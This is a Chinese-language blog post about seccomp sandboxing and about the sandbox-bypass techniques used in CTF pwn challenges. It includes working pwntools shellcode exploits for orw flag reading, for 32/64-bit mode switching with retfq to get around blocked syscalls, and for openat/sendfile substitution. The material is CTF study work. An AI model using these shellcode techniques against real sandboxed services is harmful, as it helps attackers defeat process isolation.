沙箱&seccomp

Seccomp(Secure Computing Mode)

Linux内核中一种安全机制,旨在限制用户空间程序能够执行的系统调用

基本思想:

提供一个沙箱环境,使得进程只能执行一组预定义的、被认为是安全的系统调用

开启沙箱的两种方式

1.prctl()

重点关注两个option

(1).PR_SET_SECCOMP(22):

prctl(22,1LL,.......)表示允许的系统调用有read,write,exit和sigereturn
prctl(22,2LL,.......)则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则prctl(22, 2LL, &v1);

(2).PR_SET_NO_NEWPRIVS(38):

prctl(38,1LL,0LL,0LL,0LL)表示禁用系统调用execve()函数,
同时,这个选项可以通过fork()函数和clone()函数继承给子进程。

2.seccomp()

实际应用

注:用seccomp-tools dump ./文件名查看沙箱

1.orw全开

法一:shellcraft生成
from pwn import*

context(log_level = 'debug', arch = 'amd64', os = 'linux')
r=remote("127.0.0.1",42337)
buf = 0x0404010
sh=shellcraft.open('flag')
sh+=shellcraft.read(3,buf,0x100)
sh+=shellcraft.write(1,buf,0x100)
sh=asm(sh)
r.sendline(sh)
r.interactive()
法二:手搓汇编
from pwn import*
context(os="linux",arch='amd64',log_level='debug')
io=remote("127.0.0.1",44531)
sh='''
xor rsi,rsi

mov rax,2                      # 2:  open('./flag',0)
mov rdi,0x67616c662f2e
push rdi
mov rdi,rsp
syscall

mov rax,0                      # 0:  read(3,buf='./flag',0x30)
mov rdi,3                      
mov rsi,0x67616c662f2e
mov rsi,rsp
mov rdx,0x30
syscall

mov rax,1
mov rdi,1                      # 1:  write(1,buf='./flag',0x30)
syscall
'''
io.sendline(asm(sh))
io.interactive()
2.o被禁用


发现只允许用上图所示的系统调用,而且和其他沙箱相比,少了这部分:


结合fstat在32位和64位中有不同含义以及mmap映射(详见https://www.cnblogs.com/V1V0/p/18292400),可知本题先用mmap映射一块可读可写内存,32位下用fstat打开,再转到64位read&write

from pwn import *

#sh = remote('127.0.0.1',45659)
sh = process("./shellcode3")
context(log_level = 'debug', os = 'linux', arch = 'amd64')
shellcode_mmap_read_call = '''
mov rdi,0x40404000         #9:mmap(0x40404000, 0x7e, 7, 34, 0, 0)
mov rsi,0x1000              #选一个自己喜欢的地址
mov rdx,7 
mov rcx, 0x22
xor r8,r8 
xor r9,r9 
mov rax,9
syscall

mov rsi,rdi
xor rdi,rdi                #0:read(0, 0x40404040, 0x70)*/
mov rdx,0x70

xor rax, rax
syscall

call rsi                
'''
pld = asm(shellcode_mmap_read_call)
gdb.attach(sh)
pause()
sh.sendline(pld)         #先发一次隔断一下
shellcode_to_x86 = '''
push 0x23
push 0x40404009
retfq
'''
shellcode_open = '''
mov esp, 0x40404200
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''


shellcode_to_x64 = '''
push 0x33
push 0x40404029
retfq
'''
shellcode_read = '''
mov rdi, 3
mov rsi, 0x40404100          #选一个自己喜欢的地址,只要让read和write的一样就行
mov rdx, 0x60
xor rax, rax
syscall
'''
shellcode_write = '''
mov rsi, 0x40404100
mov rdx, 0x60
mov rdi, 1
mov rax, 1
syscall
'''

pld = asm(shellcode_to_x86)
pld += asm(shellcode_open)
pld += asm(shellcode_to_x64)
pld += asm(shellcode_read)
pld += asm(shellcode_write)
pause()
sh.sendline(pld)

sh.interactive()
3.w被禁用(侧信道攻击)

还没做过,不过有资料(
https://blog.xmcve.com/2022/07/16/Sandbox%E6%80%BB%E7%BB%93/#title-16

4.其他可以替代情况
1


只禁用了write相关,open和execve,
open可以用openat代替,read+write用sendfile代替(参数详情见orw
https://www.cnblogs.com/V1V0/p/18292400)
wp:

from pwn import *

context(log_level='debug', arch = "amd64",os= 'linux',terminal = ['tmux','splitw','-h'])

p = remote("127.0.0.1",33963)
#p = process("./shellcode2")
shellcode="""
xor rsi,rsi;                  #257: openat(3,'/flag',0)
mov rbx,0x67616c662f; 
push rbx;
mov rdx,0;   
mov rdi,3;   
mov rsi,rsp
mov rax,257; 
syscall;


mov rsi,3; 
mov r10,200;
mov rdi,1;  
mov rax,40; 
syscall;

"""
p.send(asm(shellcode))
p.interactive()
2


禁用情况如上图,openat+pread+write,同样可以直接用shellcraft或写成汇编。

(未完待续)

open:openat,fstat(注意32位64位)
write:puts,writev
read:readv,pread
sendfile=read+write
详情见Linux系统调用表
https://blog.csdn.net/Rong_Toa/article/details/109826240

posted @ 2024-07-16 11:36  V1V0  阅读(60)  评论(0编辑  收藏  举报